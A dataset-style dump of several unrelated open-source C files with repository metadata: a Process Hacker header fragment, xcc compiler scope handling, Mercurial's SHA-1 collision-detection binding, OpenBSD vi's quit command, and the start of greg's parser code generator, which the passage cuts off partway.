_In_ UINT Msg,
_In_ WPARAM wParam,
_In_ LPARAM lParam
);
// end_phapppub
NTSTATUS PhSvcCallCreateProcessIgnoreIfeoDebugger(
_In_ PWSTR FileName,
_In_opt_ PWSTR CommandLine
);
NTSTATUS PhSvcCallSetServiceSecurity(
_In_ PWSTR ServiceName,
_In_ SECURITY_INFORMATION SecurityInformation,
_In_ PSECURITY_DESCRIPTOR SecurityDescriptor
);
NTSTATUS PhSvcCallWriteMiniDumpProcess(
_In_ HANDLE ProcessHandle,
_In_ HANDLE ProcessId,
_In_ HANDLE FileHandle,
_In_ ULONG DumpType
);
NTSTATUS PhSvcCallQueryProcessHeapInformation(
_In_ HANDLE ProcessId,
_Out_ PPH_STRING* HeapInformation
);
#endif
|
b24837184afef03cd28cac81c5466e29fb68d216
|
cdc6c85f66ff27e566aaf8c39b868bda3e80e192
|
/src/cc/frontend/var.c
|
9d1c7de077d68caa3075ebb4632d543ba4b6cbf3
|
[] |
no_license
|
tyfkda/xcc
|
e2deafc3b4f1d163956619742f617b1b1eb81a3b
|
9614ac50d6e813e5b3c2ab76bb3eabad10875f64
|
refs/heads/main
| 2023-08-23T23:48:16.443583
| 2023-08-21T02:58:14
| 2023-08-22T00:41:17
| 166,307,267
| 128
| 9
| null | 2023-07-20T01:09:36
| 2019-01-17T22:38:21
|
C
|
UTF-8
|
C
| false
| false
| 4,574
|
c
|
var.c
|
#include "../../config.h"
#include "var.h"
#include <assert.h>
#include <stdlib.h> // malloc
#include <string.h>
#include "table.h"
#include "type.h"
#include "util.h"
static VarInfo *define_global(const Name *name, Type *type, int storage);
int var_find(const Vector *vars, const Name *name) {
for (int i = 0, len = vars->len; i < len; ++i) {
VarInfo *info = vars->data[i];
if (info->name != NULL && equal_name(info->name, name))
return i;
}
return -1;
}
VarInfo *var_add(Vector *vars, const Name *name, Type *type, int storage) {
assert(name == NULL || var_find(vars, name) < 0);
VarInfo *varinfo = calloc(1, sizeof(*varinfo));
varinfo->name = name;
varinfo->type = type;
varinfo->storage = storage;
if (storage & VS_STATIC)
varinfo->static_.gvar = define_global(alloc_label(), type, storage);
vec_push(vars, varinfo);
return varinfo;
}
// Global
Scope *global_scope;
static Table global_var_table;
void init_global(void) {
global_scope = new_scope(NULL, new_vector());
table_init(&global_var_table);
}
static VarInfo *define_global(const Name *name, Type *type, int storage) {
assert(name != NULL);
VarInfo *varinfo = table_get(&global_var_table, name);
if (varinfo != NULL) {
if (!(varinfo->storage & VS_EXTERN)) {
assert(storage & VS_EXTERN);
return varinfo;
}
varinfo->name = name;
varinfo->type = type;
varinfo->storage = storage;
varinfo->global.init = NULL;
} else {
// `static' is different meaning for global and local variable.
varinfo = var_add(global_scope->vars, name, type, storage & ~VS_STATIC);
varinfo->storage = storage;
table_put(&global_var_table, name, varinfo);
}
return varinfo;
}
// Scope
Scope *new_scope(Scope *parent, Vector *vars) {
Scope *scope = calloc(1, sizeof(*scope));
scope->parent = parent;
scope->vars = vars;
return scope;
}
bool is_global_scope(Scope *scope) {
assert(scope->parent != NULL || scope == global_scope); // Global scope is only one.
return scope->parent == NULL;
}
VarInfo *scope_find(Scope *scope, const Name *name, Scope **pscope) {
VarInfo *varinfo = NULL;
for (; scope != NULL; scope = scope->parent) {
if (is_global_scope(scope)) {
varinfo = table_get(&global_var_table, name);
break;
}
if (scope->vars != NULL) {
int idx = var_find(scope->vars, name);
if (idx >= 0) {
varinfo = scope->vars->data[idx];
break;
}
}
}
if (pscope != NULL)
*pscope = scope;
return varinfo;
}
VarInfo *scope_add(Scope *scope, const Name *name, Type *type, int storage) {
assert(name != NULL);
if (is_global_scope(scope))
return define_global(name, type, storage);
if (scope->vars == NULL)
scope->vars = new_vector();
return var_add(scope->vars, name, type, storage);
}
StructInfo *find_struct(Scope *scope, const Name *name, Scope **pscope) {
for (; scope != NULL; scope = scope->parent) {
if (scope->struct_table == NULL)
continue;
StructInfo *sinfo = table_get(scope->struct_table, name);
if (sinfo != NULL) {
if (pscope != NULL)
*pscope = scope;
return sinfo;
}
}
return NULL;
}
void define_struct(Scope *scope, const Name *name, StructInfo *sinfo) {
if (scope->struct_table == NULL)
scope->struct_table = alloc_table();
table_put(scope->struct_table, name, sinfo);
}
Type *find_typedef(Scope *scope, const Name *name, Scope **pscope) {
for (; scope != NULL; scope = scope->parent) {
if (scope->typedef_table == NULL)
continue;
Type *type = table_get(scope->typedef_table, name);
if (type != NULL) {
if (pscope != NULL)
*pscope = scope;
return type;
}
}
return NULL;
}
bool add_typedef(Scope *scope, const Name *name, Type *type) {
if (scope->typedef_table != NULL) {
if (table_get(scope->typedef_table, name) != NULL)
return false;
} else {
scope->typedef_table = alloc_table();
}
table_put(scope->typedef_table, name, (void*)type);
return true;
}
Type *find_enum(Scope *scope, const Name *name) {
for (; scope != NULL; scope = scope->parent) {
if (scope->enum_table == NULL)
continue;
Type *type = table_get(scope->enum_table, name);
if (type != NULL)
return type;
}
return NULL;
}
Type *define_enum(Scope *scope, const Name *name) {
Type *type = create_enum_type(name);
if (name != NULL) {
if (scope->enum_table == NULL)
scope->enum_table = alloc_table();
table_put(scope->enum_table, name, type);
}
return type;
}
|
a044cfc8c6844ab07c91846ba869c9afcde25fa7
|
eb9f655206c43c12b497c667ba56a0d358b6bc3a
|
/plugins/hg4idea/testData/bin/mercurial/thirdparty/sha1dc/cext.c
|
4153a953d1b42d5ab638627901432826bd3f8dfe
|
[
"Apache-2.0",
"MIT"
] |
permissive
|
JetBrains/intellij-community
|
2ed226e200ecc17c037dcddd4a006de56cd43941
|
05dbd4575d01a213f3f4d69aa4968473f2536142
|
refs/heads/master
| 2023-09-03T17:06:37.560889
| 2023-09-03T11:51:00
| 2023-09-03T12:12:27
| 2,489,216
| 16,288
| 6,635
|
Apache-2.0
| 2023-09-12T07:41:58
| 2011-09-30T13:33:05
| null |
UTF-8
|
C
| false
| false
| 6,801
|
c
|
cext.c
|
#define PY_SSIZE_T_CLEAN
#include <Python.h>
#include "lib/sha1.h"
#if PY_MAJOR_VERSION >= 3
#define IS_PY3K
#endif
/* helper to switch things like string literal depending on Python version */
#ifdef IS_PY3K
#define PY23(py2, py3) py3
#else
#define PY23(py2, py3) py2
#endif
static char sha1dc_doc[] = "Efficient detection of SHA1 collision constructs.";
/* clang-format off */
typedef struct {
PyObject_HEAD
SHA1_CTX ctx;
} pysha1ctx;
/* clang-format on */
static int pysha1ctx_init(pysha1ctx *self, PyObject *args)
{
Py_buffer data;
data.obj = NULL;
SHA1DCInit(&(self->ctx));
/* We don't want "safe" sha1s, wherein sha1dc can give you a
different hash for something that's trying to give you a
collision. We just want to detect collisions.
*/
SHA1DCSetSafeHash(&(self->ctx), 0);
if (!PyArg_ParseTuple(args, PY23("|s*", "|y*"), &data)) {
return -1;
}
if (data.obj) {
if (!PyBuffer_IsContiguous(&data, 'C') || data.ndim > 1) {
PyErr_SetString(PyExc_BufferError,
"buffer must be contiguous and single dimension");
PyBuffer_Release(&data);
return -1;
}
SHA1DCUpdate(&(self->ctx), data.buf, data.len);
PyBuffer_Release(&data);
}
return 0;
}
static void pysha1ctx_dealloc(pysha1ctx *self)
{
PyObject_Del(self);
}
static PyObject *pysha1ctx_update(pysha1ctx *self, PyObject *args)
{
Py_buffer data;
if (!PyArg_ParseTuple(args, PY23("s*", "y*"), &data)) {
return NULL;
}
if (!PyBuffer_IsContiguous(&data, 'C') || data.ndim > 1) {
PyErr_SetString(PyExc_BufferError,
"buffer must be contiguous and single dimension");
PyBuffer_Release(&data);
return NULL;
}
SHA1DCUpdate(&(self->ctx), data.buf, data.len);
PyBuffer_Release(&data);
Py_RETURN_NONE;
}
/* it is intentional that this take a ctx by value, as that clones the
context so we can keep using .update() without poisoning the state
with padding.
*/
static int finalize(SHA1_CTX ctx, unsigned char *hash_out)
{
if (SHA1DCFinal(hash_out, &ctx)) {
PyErr_SetString(PyExc_OverflowError,
"sha1 collision attack detected");
return 0;
}
return 1;
}
static PyObject *pysha1ctx_digest(pysha1ctx *self)
{
unsigned char hash[20];
if (!finalize(self->ctx, hash)) {
return NULL;
}
return PyBytes_FromStringAndSize((char *)hash, 20);
}
static PyObject *pysha1ctx_hexdigest(pysha1ctx *self)
{
static const char hexdigit[] = "0123456789abcdef";
unsigned char hash[20];
char hexhash[40];
int i;
if (!finalize(self->ctx, hash)) {
return NULL;
}
for (i = 0; i < 20; ++i) {
hexhash[i * 2] = hexdigit[hash[i] >> 4];
hexhash[i * 2 + 1] = hexdigit[hash[i] & 15];
}
return PY23(PyString_FromStringAndSize, PyUnicode_FromStringAndSize)(hexhash, 40);
}
static PyTypeObject sha1ctxType;
static PyObject *pysha1ctx_copy(pysha1ctx *self)
{
pysha1ctx *clone = (pysha1ctx *)PyObject_New(pysha1ctx, &sha1ctxType);
if (!clone) {
return NULL;
}
clone->ctx = self->ctx;
return (PyObject *)clone;
}
static PyMethodDef pysha1ctx_methods[] = {
{"update", (PyCFunction)pysha1ctx_update, METH_VARARGS,
"Update this hash object's state with the provided bytes."},
{"digest", (PyCFunction)pysha1ctx_digest, METH_NOARGS,
"Return the digest value as a string of binary data."},
{"hexdigest", (PyCFunction)pysha1ctx_hexdigest, METH_NOARGS,
"Return the digest value as a string of hexadecimal digits."},
{"copy", (PyCFunction)pysha1ctx_copy, METH_NOARGS,
"Return a copy of the hash object."},
{NULL},
};
/* clang-format off */
static PyTypeObject sha1ctxType = {
PyVarObject_HEAD_INIT(NULL, 0) /* header */
"sha1dc.sha1", /* tp_name */
sizeof(pysha1ctx), /* tp_basicsize */
0, /* tp_itemsize */
(destructor)pysha1ctx_dealloc, /* tp_dealloc */
0, /* tp_print */
0, /* tp_getattr */
0, /* tp_setattr */
0, /* tp_compare */
0, /* tp_repr */
0, /* tp_as_number */
0, /* tp_as_sequence */
0, /* tp_as_mapping */
0, /* tp_hash */
0, /* tp_call */
0, /* tp_str */
0, /* tp_getattro */
0, /* tp_setattro */
0, /* tp_as_buffer */
Py_TPFLAGS_DEFAULT, /* tp_flags */
"sha1 implementation that looks for collisions", /* tp_doc */
0, /* tp_traverse */
0, /* tp_clear */
0, /* tp_richcompare */
0, /* tp_weaklistoffset */
0, /* tp_iter */
0, /* tp_iternext */
pysha1ctx_methods, /* tp_methods */
0, /* tp_members */
0, /* tp_getset */
0, /* tp_base */
0, /* tp_dict */
0, /* tp_descr_get */
0, /* tp_descr_set */
0, /* tp_dictoffset */
(initproc)pysha1ctx_init, /* tp_init */
0, /* tp_alloc */
};
/* clang-format on */
static PyMethodDef methods[] = {
{NULL, NULL},
};
static void module_init(PyObject *mod)
{
sha1ctxType.tp_new = PyType_GenericNew;
if (PyType_Ready(&sha1ctxType) < 0) {
return;
}
Py_INCREF(&sha1ctxType);
PyModule_AddObject(mod, "sha1", (PyObject *)&sha1ctxType);
}
#ifdef IS_PY3K
static struct PyModuleDef sha1dc_module = {PyModuleDef_HEAD_INIT, "sha1dc",
sha1dc_doc, -1, methods};
PyMODINIT_FUNC PyInit_sha1dc(void)
{
PyObject *mod = PyModule_Create(&sha1dc_module);
module_init(mod);
return mod;
}
#else
PyMODINIT_FUNC initsha1dc(void)
{
PyObject *mod = Py_InitModule3("sha1dc", methods, sha1dc_doc);
module_init(mod);
}
#endif
|
3e1db483ab2a83b8a3d7f955604d90205bf1b7a7
|
9ceacf33fd96913cac7ef15492c126d96cae6911
|
/usr.bin/vi/ex/ex_quit.c
|
0f39a3f6cd1d8915bfba5f9f57edd3448ada7c82
|
[
"BSD-3-Clause"
] |
permissive
|
openbsd/src
|
ab97ef834fd2d5a7f6729814665e9782b586c130
|
9e79f3a0ebd11a25b4bff61e900cb6de9e7795e9
|
refs/heads/master
| 2023-09-02T18:54:56.624627
| 2023-09-02T15:16:12
| 2023-09-02T15:16:12
| 66,966,208
| 3,394
| 1,235
| null | 2023-08-08T02:42:25
| 2016-08-30T18:18:25
|
C
|
UTF-8
|
C
| false
| false
| 846
|
c
|
ex_quit.c
|
/* $OpenBSD: ex_quit.c,v 1.5 2014/11/12 04:28:41 bentley Exp $ */
/*-
* Copyright (c) 1992, 1993, 1994
* The Regents of the University of California. All rights reserved.
* Copyright (c) 1992, 1993, 1994, 1995, 1996
* Keith Bostic. All rights reserved.
*
* See the LICENSE file for redistribution information.
*/
#include "config.h"
#include <sys/types.h>
#include <sys/queue.h>
#include <bitstring.h>
#include <limits.h>
#include <stdio.h>
#include "../common/common.h"
/*
* ex_quit -- :quit[!]
* Quit.
*
* PUBLIC: int ex_quit(SCR *, EXCMD *);
*/
int
ex_quit(SCR *sp, EXCMD *cmdp)
{
int force;
force = FL_ISSET(cmdp->iflags, E_C_FORCE);
/* Check for file modifications, or more files to edit. */
if (file_m2(sp, force) || ex_ncheck(sp, force))
return (1);
F_SET(sp, force ? SC_EXIT_FORCE : SC_EXIT);
return (0);
}
|
a230388813724ff8828109f83731148cd53f0712
|
a0bda8415e82a19f2149fd1b774dc2d52e921c1f
|
/tools/compile.c
|
9d7e3596c4f7839678da8e91fe295374ad3ae9ae
|
[
"MIT",
"Artistic-2.0"
] |
permissive
|
perl11/potion
|
6057e78179d441ecd4bfaf468d20a2834b964ba0
|
28d207b7f31a588cf3a524d5faa948b7f635d04a
|
refs/heads/master
| 2023-09-01T23:05:04.663177
| 2023-02-06T11:55:01
| 2023-02-06T11:55:01
| 282,344
| 310
| 37
|
NOASSERTION
| 2023-07-09T07:02:54
| 2009-08-19T20:06:21
|
C
|
UTF-8
|
C
| false
| false
| 27,933
|
c
|
compile.c
|
/* Copyright (c) 2007 by Ian Piumarta
* Copyright (c) 2011 by Amos Wenger nddrylliog@gmail.com
* Copyright (c) 2013 by perl11 org
* All rights reserved.
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the 'Software'),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, provided that the above copyright notice(s) and this
* permission notice appear in all copies of the Software. Acknowledgement
* of the use of this Software in supporting documentation would be
* appreciated but is not required.
*
* THE SOFTWARE IS PROVIDED 'AS IS'. USE ENTIRELY AT YOUR OWN RISK.
*
* Last edited: 2013-09-30 20:44:59 rurban
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include "greg.h"
#ifndef YY_ALLOC
#define YY_ALLOC(N, D) malloc(N)
#endif
#ifndef YY_CALLOC
#define YY_CALLOC(N, S, D) calloc(N, S)
#endif
#ifndef YY_REALLOC
#define YY_REALLOC(B, N, D) realloc(B, N)
#endif
#ifndef YY_FREE
#define YY_FREE free
#endif
static int indent= 0;
static int yyl(void)
{
static int prev= 0;
return ++prev;
}
static void charClassSet (unsigned char bits[], int c) { bits[c >> 3] |= (1 << (c & 7)); }
static void charClassClear(unsigned char bits[], int c) { bits[c >> 3] &= ~(1 << (c & 7)); }
typedef void (*setter)(unsigned char bits[], int c);
static inline int oigit(int c) { return ('0' <= c && c <= '7'); }
static inline int higit(int c) { return ('0' <= c && c <= '9') || ('A' <= c && c <= 'F') || ('a' <= c && c <= 'f'); }
static inline int hexval(int c)
{
if ('0' <= c && c <= '9') return c - '0';
if ('A' <= c && c <= 'F') return 10 - 'A' + c;
if ('a' <= c && c <= 'f') return 10 - 'a' + c;
return 0;
}
static int readChar(unsigned char **cp)
{
unsigned char *cclass= *cp;
int c= *cclass++;
if (c)
{
if ('\\' == c && *cclass)
{
switch (c= *cclass++)
{
case 'a': c= '\a'; break; /* bel */
case 'b': c= '\b'; break; /* bs */
case 'e': c= '\033'; break; /* esc */
case 'f': c= '\f'; break; /* ff */
case 'n': c= '\n'; break; /* nl */
case 'r': c= '\r'; break; /* cr */
case 't': c= '\t'; break; /* ht */
case 'v': c= '\v'; break; /* vt */
case 'x':
c= 0;
if (higit(*cclass)) c= (c << 4) + hexval(*cclass++);
if (higit(*cclass)) c= (c << 4) + hexval(*cclass++);
break;
default:
if (oigit(c))
{
c -= '0';
if (oigit(*cclass)) c= (c << 3) + *cclass++ - '0';
if (oigit(*cclass)) c= (c << 3) + *cclass++ - '0';
}
break;
}
}
*cp= cclass;
}
return c;
}
static char *yyqq(char* s) {
char *d = s;
char *dst;
int sl = 0, dl = 0;
while (*s++) {
dl++; sl++;
if (*s==7||*s==8||*s==9||*s==11||*s==12||*s==13||*s==27||*s==34||*s==92||*s=='%') { dl++; } // escape with '\'
else if (*s==10) { dl += 3; } // \n\^J
else if (*(signed char *)s<32) { dl += 4; } // octal \000
}
if (dl == sl) return d;
s = d;
dst = d = (char *)malloc(dl+1);
while (*s) {
if (*s == '"') {
*d++ = '\\'; *d++ = *s++;
} else if (*s == '%') { // % => %%
*d++ = '%'; *d++ = *s++;
} else if (*s == '\n') { // \n\^J
*d++ = '\\'; *d++ = 'n'; *d++ = '\\'; *d++ = 10; s++;
} else if (*s == '\t') { //ht
*d++ = '\\'; *d++ = 't'; s++;
} else if (*s == '\r') { //cr
*d++ = '\\'; *d++ = 'r'; s++;
} else if (*s == '\a') { //bel
*d++ = '\\'; *d++ = 'a'; s++;
} else if (*s == '\b') { //bs
*d++ = '\\'; *d++ = 'b'; s++;
} else if (*s == '\e') { //esc
*d++ = '\\'; *d++ = 'e'; s++;
} else if (*s == '\f') { //ff
*d++ = '\\'; *d++ = 'f'; s++;
} else if (*s == '\v') { //vt
*d++ = '\\'; *d++ = 'v'; s++;
} else if (*s == 92) { // '\'
*d++ = '\\'; *d++ = *s++;
} else if (*(signed char *)s<32) {
sprintf(d,"\\%03o", *s); // octal \000
d += 4; s++;
} else {
*d++ = *s++;
}
}
*d = 0;
return dst;
}
static char *makeCharClass(unsigned char *cclass)
{
unsigned char bits[32];
setter set;
int c, prev= -1;
static char string[256];
char *ptr;
if ('^' == *cclass)
{
memset(bits, 255, 32);
set= charClassClear;
++cclass;
}
else
{
memset(bits, 0, 32);
set= charClassSet;
}
while (0 != (c= readChar(&cclass)))
{
if ('-' == c && *cclass && prev >= 0)
{
for (c= readChar(&cclass); prev <= c; ++prev)
set(bits, prev);
prev= -1;
}
else
{
set(bits, prev= c);
}
}
ptr= string;
for (c= 0; c < 32; ++c)
ptr += sprintf(ptr, "\\%03o", bits[c]);
return string;
}
static void nl(void) { fprintf(output, "\n"); }
static void pindent(void) { fprintf(output, "%*s", 2*indent, ""); }
static void begin(void) { indent++; pindent(); fprintf(output, "{"); }
static void define(const char* const def, const char* const v) { pindent(); fprintf(output, " #define %s %s\n", def, v); }
static void undef(const char* const def) { pindent(); fprintf(output, " #undef %s\n", def); }
static void save(int n) { nl(); pindent(); fprintf(output, " int yypos%d= G->pos, yythunkpos%d= G->thunkpos;\n", n, n); }
static void label(int n) { nl(); pindent(); fprintf(output, " l%d:\n", n); } /* Note: ensure that there is an expr following */
static void jump(int n) { pindent(); fprintf(output, " goto l%d;", n); }
static void restore(int n) { pindent(); fprintf(output, " G->pos= yypos%d; G->thunkpos= yythunkpos%d;\n", n, n); }
static void end(void) { pindent(); indent--; fprintf(output, "}\n"); }
static void Node_compile_c_ko(Node *node, int ko)
{
assert(node);
switch (node->type)
{
case Rule:
fprintf(stderr, "\ninternal error #1 (%s)\n", node->rule.name);
exit(1);
break;
case Dot:
pindent(); fprintf(output, " if (!yymatchDot(G)) goto l%d;\n", ko);
break;
case Name:
pindent(); fprintf(output, " if (!yy_%s(G)) ", node->name.rule->rule.name);
pindent(); fprintf(output, " goto l%d;\n", ko);
if (node->name.variable) {
pindent(); fprintf(output, " yyDo(G, yySet, %d, 0, \"yySet %s\");\n",
node->name.variable->variable.offset, node->name.rule->rule.name);
}
break;
case Character:
case String:
{
pindent();
int len= strlen(node->string.value);
if (1 == len)
{
if ('\'' == node->string.value[0])
fprintf(output, " if (!yymatchChar(G, '\\'')) goto l%d;\n", ko);
else
fprintf(output, " if (!yymatchChar(G, '%s')) goto l%d;\n", node->string.value, ko);
}
else
if (2 == len && '\\' == node->string.value[0])
fprintf(output, " if (!yymatchChar(G, '%s')) goto l%d;\n", node->string.value, ko);
else
fprintf(output, " if (!yymatchString(G, \"%s\")) goto l%d;\n", node->string.value, ko);
}
break;
case Class:
{
pindent();
char *tmp = yyqq((char*)node->cclass.value);
fprintf(output, " if (!yymatchClass(G, (unsigned char *)\"%s\", \"%s\")) goto l%d;\n", makeCharClass(node->cclass.value), tmp, ko);
if (tmp != (char*)node->cclass.value) YY_FREE(tmp);
}
break;
case Action:
pindent(); fprintf(output, " yyDo(G, yy%s, G->begin, G->end, \"yy%s\");\n",
node->action.name, node->action.name);
break;
case Predicate:
pindent(); fprintf(output, " yyText(G, G->begin, G->end);\n");
begin(); nl();
define("yytext", "G->text"); define("yyleng", "G->textlen");
pindent(); fprintf(output, " if (!(%s)) goto l%d;\n", node->action.text, ko);
undef("yytext"); undef("yyleng");
end(); nl();
break;
case Error:
{
int eok= yyl(), eko= yyl();
Node_compile_c_ko(node->error.element, eko);
jump(eok);
label(eko);
pindent(); fprintf(output, " yyText(G, G->begin, G->end);\n");
begin(); nl();
define("yytext", "G->text"); define("yyleng", "G->textlen");
pindent(); fprintf(output, " %s;\n", node->error.text);
undef("yytext"); undef("yyleng");
end(); nl();
jump(ko);
label(eok);
}
break;
case Alternate:
{
int ok= yyl();
begin();
save(ok);
for (node= node->alternate.first; node; node= node->alternate.next)
if (node->alternate.next)
{
int next= yyl();
Node_compile_c_ko(node, next);
jump(ok);
label(next);
restore(ok);
}
else
Node_compile_c_ko(node, ko);
end();
label(ok);
pindent(); fprintf(output, " ;\n");
}
break;
case Sequence:
for (node= node->sequence.first; node; node= node->sequence.next)
Node_compile_c_ko(node, ko);
break;
case PeekFor:
{
int ok= yyl();
begin();
save(ok);
Node_compile_c_ko(node->peekFor.element, ko);
restore(ok);
end();
}
break;
case PeekNot:
{
int ok= yyl();
begin();
save(ok);
Node_compile_c_ko(node->peekFor.element, ok);
jump(ko);
label(ok);
restore(ok);
end();
}
break;
case Query:
{
int again= yyl(), out= yyl();
begin();
save(out);
Node_compile_c_ko(node->query.element, out);
jump(again);
label(out);
restore(out);
end();
label(again);
pindent(); fprintf(output, " ;\n");
}
break;
case Star:
{
int again= yyl(), out= yyl();
label(again);
begin();
save(out);
Node_compile_c_ko(node->star.element, out);
jump(again);
label(out);
restore(out);
end();
}
break;
case Plus:
{
int again= yyl(), out= yyl();
Node_compile_c_ko(node->plus.element, ko);
label(again);
begin();
save(out);
Node_compile_c_ko(node->plus.element, out);
jump(again);
label(out);
restore(out);
end();
}
break;
default:
fprintf(stderr, "\nNode_compile_c_ko: illegal node type %d\n", node->type);
exit(1);
}
}
static int countVariables(Node *node)
{
int count= 0;
while (node)
{
++count;
node= node->variable.next;
}
return count;
}
static void defineVariables(Node *node)
{
int count= 0;
while (node)
{
pindent(); fprintf(output, " #define %s G->val[%d]\n", node->variable.name, --count);
node->variable.offset= count;
node= node->variable.next;
}
}
static void undefineVariables(Node *node)
{
while (node)
{
undef(node->variable.name);
node= node->variable.next;
}
}
static void Rule_compile_c2(Node *node)
{
assert(node);
assert(Rule == node->type);
if (!node->rule.expression)
fprintf(stderr, "rule '%s' used but not defined\n", node->rule.name);
else
{
int ko= yyl(), safe;
if ((!(RuleUsed & node->rule.flags)) && (node != start))
fprintf(stderr, "rule '%s' defined but not used\n", node->rule.name);
safe= ((Query == node->rule.expression->type) || (Star == node->rule.expression->type));
fprintf(output, "\nYY_RULE(int) yy_%s(GREG *G)\n{", node->rule.name);
if (!safe) save(0);
if (node->rule.variables)
fprintf(output, " yyDo(G, yyPush, %d, 0, \"yyPush\");\n", countVariables(node->rule.variables));
fprintf(output, " yyprintfv((stderr, \"%%s\\n\", \"%s\"));\n", node->rule.name);
Node_compile_c_ko(node->rule.expression, ko);
if (!memcmp("utf",node->rule.name,3)
|| !memcmp("_",node->rule.name,1)
|| !memcmp("end_of",node->rule.name,6)
|| !strcmp("space",node->rule.name)
|| !strcmp("sep",node->rule.name)
|| !strcmp("comment",node->rule.name)
|| !strcmp("IDFIRST",node->rule.name)
|| !strcmp("id",node->rule.name)
)
fprintf(output, " yyprintfvokrule(\"%s\");\n", node->rule.name);
else
fprintf(output, " yyprintfokrule(\"%s\");\n", node->rule.name);
if (node->rule.variables)
fprintf(output, " yyDo(G, yyPop, %d, 0, \"yyPop\");\n", countVariables(node->rule.variables));
fprintf(output, " return 1;");
if (!safe)
{
label(ko);
restore(0);
fprintf(output, " yyprintfvfailrule(\"%s\");\n", node->rule.name);
fprintf(output, " return 0;");
}
fprintf(output, "\n}");
}
if (node->rule.next)
Rule_compile_c2(node->rule.next);
}
static char *header= "\
#include <stdio.h>\n\
#include <stdlib.h>\n\
#include <string.h>\n\
struct _GREG;\n\
";
static char *preamble= "\
#ifndef YY_ALLOC\n\
#define YY_ALLOC(N, D) malloc(N)\n\
#endif\n\
#ifndef YY_CALLOC\n\
#define YY_CALLOC(N, S, D) calloc(N, S)\n\
#endif\n\
#ifndef YY_REALLOC\n\
#define YY_REALLOC(B, N, D) realloc(B, N)\n\
#endif\n\
#ifndef YY_FREE\n\
#define YY_FREE free\n\
#endif\n\
#ifndef YY_LOCAL\n\
#define YY_LOCAL(T) static T\n\
#endif\n\
#ifndef YY_ACTION\n\
#define YY_ACTION(T) static T\n\
#endif\n\
#ifndef YY_RULE\n\
#define YY_RULE(T) static T\n\
#endif\n\
#ifndef YY_PARSE\n\
#define YY_PARSE(T) T\n\
#endif\n\
#ifndef YY_NAME\n\
#define YY_NAME(N) yy##N\n\
#endif\n\
#ifndef YY_INPUT\n\
#define YY_INPUT(buf, result, max_size) \\\n\
{ \\\n\
int yyc= fgetc(G->input); \\\n\
if ('\\n' == yyc) ++G->lineno; \\\n\
result= (EOF == yyc) ? 0 : (*(buf)= yyc, 1); \\\n\
yyprintfv((stderr, \"<%c>\", yyc)); \\\n\
}\n\
#endif\n\
#ifndef YY_ERROR\n\
#define YY_ERROR(message) yyerror(G, message)\n\
#endif\n\
#ifndef YY_BEGIN\n\
#define YY_BEGIN ( G->begin= G->pos, 1)\n\
#endif\n\
#ifndef YY_END\n\
#define YY_END ( G->end= G->pos, 1)\n\
#endif\n\
#ifdef YY_DEBUG\n\
# define yydebug G->debug\n\
# ifndef YYDEBUG_PARSE\n\
# define YYDEBUG_PARSE 1\n\
# endif\n\
# ifndef YYDEBUG_VERBOSE\n\
# define YYDEBUG_VERBOSE 2\n\
# endif\n\
# define yyprintf(args) if (yydebug & YYDEBUG_PARSE) fprintf args\n\
# define yyprintfv(args) if (yydebug & YYDEBUG_VERBOSE) fprintf args\n\
# define yyprintfGcontext if (yydebug & YYDEBUG_PARSE) yyprintcontext(G,stderr,G->buf+G->pos)\n\
# define yyprintfvGcontext if (yydebug & YYDEBUG_VERBOSE) yyprintcontext(G,stderr,G->buf+G->pos)\n\
# define yyprintfvTcontext(text) if (yydebug & YYDEBUG_VERBOSE) yyprintcontext(G,stderr,text)\n\
# define yyprintfokrule(rule) if (yydebug & YYDEBUG_PARSE) {\\\n\
if (G->buf[G->pos]) {\\\n\
fprintf(stderr, \" ok %s\", rule);\\\n\
yyprintcontext(G,stderr,G->buf+G->pos);\\\n\
fprintf(stderr, \"\\n\");\\\n\
} else {\\\n\
yyprintfv((stderr, \" ok %s @ \\\"\\\"\\n\", rule));\\\n\
}}\n\
# define yyprintfvokrule(rule) if (yydebug & YYDEBUG_VERBOSE) {\\\n\
if (G->buf[G->pos]) {\\\n\
fprintf(stderr, \" ok %s\", rule);\\\n\
yyprintcontext(G,stderr,G->buf+G->pos);\\\n\
fprintf(stderr, \"\\n\");\\\n\
} else {\\\n\
yyprintfv((stderr, \" ok %s @ \\\"\\\"\\n\", rule));\\\n\
}}\n\
# define yyprintfvfailrule(rule) if (yydebug & YYDEBUG_VERBOSE) {\\\n\
fprintf(stderr, \" fail %s\", rule);\\\n\
yyprintcontext(G,stderr,G->buf+G->pos);\\\n\
fprintf(stderr, \"\\n\");\\\n\
}\n\
#else\n\
# define yydebug 0\n\
# define yyprintf(args)\n\
# define yyprintfv(args)\n\
# define yyprintfGcontext\n\
# define yyprintfvGcontext\n\
# define yyprintfvTcontext(text)\n\
# define yyprintfokrule(rule)\n\
# define yyprintfvokrule(rule)\n\
# define yyprintfvfailrule(rule)\n\
#endif\n\
#ifndef YYSTYPE\n\
#define YYSTYPE int\n\
#endif\n\
#ifndef YY_XTYPE\n\
#define YY_XTYPE void *\n\
#endif\n\
#ifndef YY_XVAR\n\
#define YY_XVAR yyxvar\n\
#endif\n\
\n\
#ifndef YY_STACK_SIZE\n\
#define YY_STACK_SIZE 1024\n\
#endif\n\
\n\
#ifndef YY_BUFFER_START_SIZE\n\
#define YY_BUFFER_START_SIZE 16384\n\
#endif\n\
\n\
#ifndef YY_PART\n\
#define yydata G->data\n\
#define yy G->ss\n\
\n\
struct _yythunk; // forward declaration\n\
typedef void (*yyaction)(struct _GREG *G, char *yytext, int yyleng, struct _yythunk *thunkpos, YY_XTYPE YY_XVAR);\n\
typedef struct _yythunk { int begin, end; yyaction action; const char *name; struct _yythunk *next; } yythunk;\n\
\n\
typedef struct _GREG {\n\
char *buf;\n\
int buflen;\n\
int offset;\n\
int pos;\n\
int limit;\n\
char *text;\n\
int textlen;\n\
int begin;\n\
int end;\n\
yythunk *thunks;\n\
int thunkslen;\n\
int thunkpos;\n\
int lineno;\n\
char *filename;\n\
FILE *input;\n\
YYSTYPE ss;\n\
YYSTYPE *val;\n\
YYSTYPE *vals;\n\
int valslen;\n\
YY_XTYPE data;\n\
#ifdef YY_DEBUG\n\
int debug;\n\
#endif\n\
} GREG;\n\
\n\
YY_LOCAL(int) yyrefill(GREG *G)\n\
{\n\
int yyn;\n\
while (G->buflen - G->pos < 512) {\n\
G->buflen *= 2;\n\
